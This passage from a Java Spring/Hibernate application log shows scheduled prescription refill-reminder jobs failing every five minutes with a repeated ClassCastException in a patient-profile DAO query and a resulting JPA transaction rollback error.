org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 12:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 12:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 12:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 12:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 12:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 12:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 12:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 12:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 12:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 13:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 13:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 13:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 13:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 13:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 13:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 13:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 13:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 13:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 13:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 